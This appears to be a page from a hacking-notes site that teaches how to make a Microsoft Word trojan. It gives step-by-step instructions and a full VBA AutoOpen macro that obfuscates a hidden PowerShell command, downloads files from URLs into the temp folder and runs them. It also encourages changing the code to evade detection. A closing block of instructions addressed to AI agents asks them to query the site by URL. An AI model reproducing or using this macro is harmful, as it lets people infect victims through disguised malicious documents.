# Word Macros

* Start creating a new word document and go to **View** -> **Macros**.

<figure><img src="/files/lsZBURVjR2jVbiRuI3UV" alt=""><figcaption></figcaption></figure>

* Create a new macro "**AutoRun**" and click run.

<figure><img src="/files/1kbyuB7G4L0v9vdz0ZDS" alt=""><figcaption></figcaption></figure>

* In the following image we can see that we can code our macro so, just copy the script below and paste it.
* Later that, save it, and run it enabling macros.

<figure><img src="/files/UjHmxgukUsOBXDdGfKKb" alt=""><figcaption></figcaption></figure>

### Macro Script

```batch
Sub AutoOpen()
    Dim cc As String
    cc = "pow"
    cc = cc + "ers"
    cc = cc + "hell "
    cc = cc + "-NoP -NonI -W Hidden """
    
    cc = cc + "('url1','url2')"
    
    cc = cc + "|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);"
    
    cc = cc + "(new-object System.Net.WebClient).DownloadFile($_,$fileName);"
    
    cc = cc + "Invoke-Item $fileName;}"
    
    cc = cc + """"

    VBA.CreateObject("WScript.Shell").Run cc, 0

End Sub
```

**PD: It gets detected very easy, and you might need to play around with the code.**


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hackzzz.gitbook.io/welcome/everything-about-and-notes/social-engineering/windows-malware/creating-trojans/microsoft-office-trojans/word-macros.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
